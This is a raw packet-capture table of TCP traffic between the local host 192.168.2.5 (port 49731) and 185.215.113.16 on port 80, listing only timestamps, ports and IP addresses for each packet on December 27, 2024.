Dec 27, 2024 15:01:07.107072115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.222803116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.222975016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.223025084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.223354101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.223453045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.223493099 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.224378109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.224462032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.224500895 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.225333929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.225461006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.225507975 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.226377964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.226511002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.226543903 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.227440119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.227544069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.227579117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.228492022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.228569984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.228637934 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.229542017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.229650021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.229710102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.230596066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.230731010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.230874062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.231667995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.231719017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.231756926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.232727051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.232929945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.232966900 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.233763933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.233848095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.233884096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.234922886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.234992981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.235033035 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.235884905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.235996962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.236035109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.236955881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.237119913 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.237282991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.238501072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.238559961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.238600016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.239556074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.239646912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.239685059 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.240720987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.240869045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.240909100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.241723061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.241861105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.241905928 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.242661953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.242732048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.242770910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.243619919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.243697882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.244347095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.244389057 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.244476080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.245336056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.245378017 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.245492935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.245770931 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.246407986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.246608973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.246648073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.247458935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.247589111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.247683048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.248482943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.248584986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.248631001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.249535084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.249727011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.249769926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.250598907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.250695944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.250792027 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.251629114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.251727104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.251768112 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.252758980 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.252876997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.252918005 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.253784895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.253813028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.253856897 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.254834890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.254905939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.254947901 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.255856991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.255980015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.256019115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.256992102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.257095098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.257133961 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.257941008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.258097887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.258141041 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.259023905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.259102106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.259141922 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.260046005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.260122061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.260190964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.260482073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.261113882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.261188984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.261766911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.262185097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.262298107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.263211966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.263261080 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.263345003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.263437986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.264286995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.264434099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.264532089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.265307903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.265414953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.265453100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.266340971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.266458988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.266491890 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.267410994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.267673969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.267712116 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.268460035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.268580914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.268618107 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.269491911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.269551992 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.269597054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.269767046 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.270613909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.270689964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.271600008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.271641016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.271702051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.272511005 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.272679090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.272861958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.272902012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.273880005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.274033070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.274085999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.275111914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.275265932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.275319099 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.276228905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.276359081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.276490927 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.277152061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.277204990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.277250051 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.278122902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.289217949 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.415079117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.415158987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.415218115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.415714979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.415817022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.416788101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.416836023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.416886091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.417714119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.417754889 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.417797089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.417849064 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.418625116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.418688059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.418729067 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.419540882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.419650078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.419689894 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.420506001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.420603991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.420644045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.421560049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.421694994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.421736956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.422590017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.422694921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.422734976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.423676968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.423774958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.423875093 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.424772024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.424823046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.424866915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.425759077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.425884008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.425925970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.426836014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.426945925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.427855968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.427906036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.427974939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.428014040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.428900003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.429008007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.429052114 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.429981947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.430198908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.430238962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.431385040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.431504011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.431540966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.432076931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.432157040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.432199001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.433134079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.433227062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.433284998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.434250116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.434325933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.434367895 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.435297012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.435378075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.435417891 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.436456919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.436716080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.436763048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.437536001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.437671900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.437740088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.438529015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.438683987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.438815117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.439570904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.439764023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.439886093 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.440562010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.440676928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.440723896 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.441510916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.441622019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.441670895 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.442589998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.442809105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.442851067 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.443635941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.443752050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.443794012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.444782019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.444925070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.445563078 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.445785999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.445858002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.445898056 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.446835041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.446908951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.446960926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.447829962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.447942972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.447988987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.448883057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.449007034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.449049950 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.449928045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.450041056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.450084925 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.450975895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.451107025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.451148987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.452080011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.452145100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.452189922 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.453105927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.453254938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.453301907 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.454229116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.454318047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.454364061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.455193996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.455310106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.455358982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.456258059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.456387043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.456489086 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.457302094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.457429886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.457470894 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.458329916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.458471060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.458518982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.459404945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.459501028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.459602118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.460308075 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.460454941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.460601091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.461617947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.461663961 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.461839914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.462588072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.462630987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.462678909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.462711096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.463583946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.463691950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.463741064 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.464668989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.464790106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.464863062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.465712070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.465805054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.465945959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.466784954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.466918945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.466955900 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.467839956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.467912912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.467952013 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.468856096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.468943119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.468985081 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.469350100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.469834089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.515103102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.606854916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.606965065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.607026100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.607460022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.607610941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.607666969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.608400106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.608567953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.608616114 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.609428883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.609550953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.609618902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.610480070 CET	80	49731	185.215.113.16	192.168.2.5
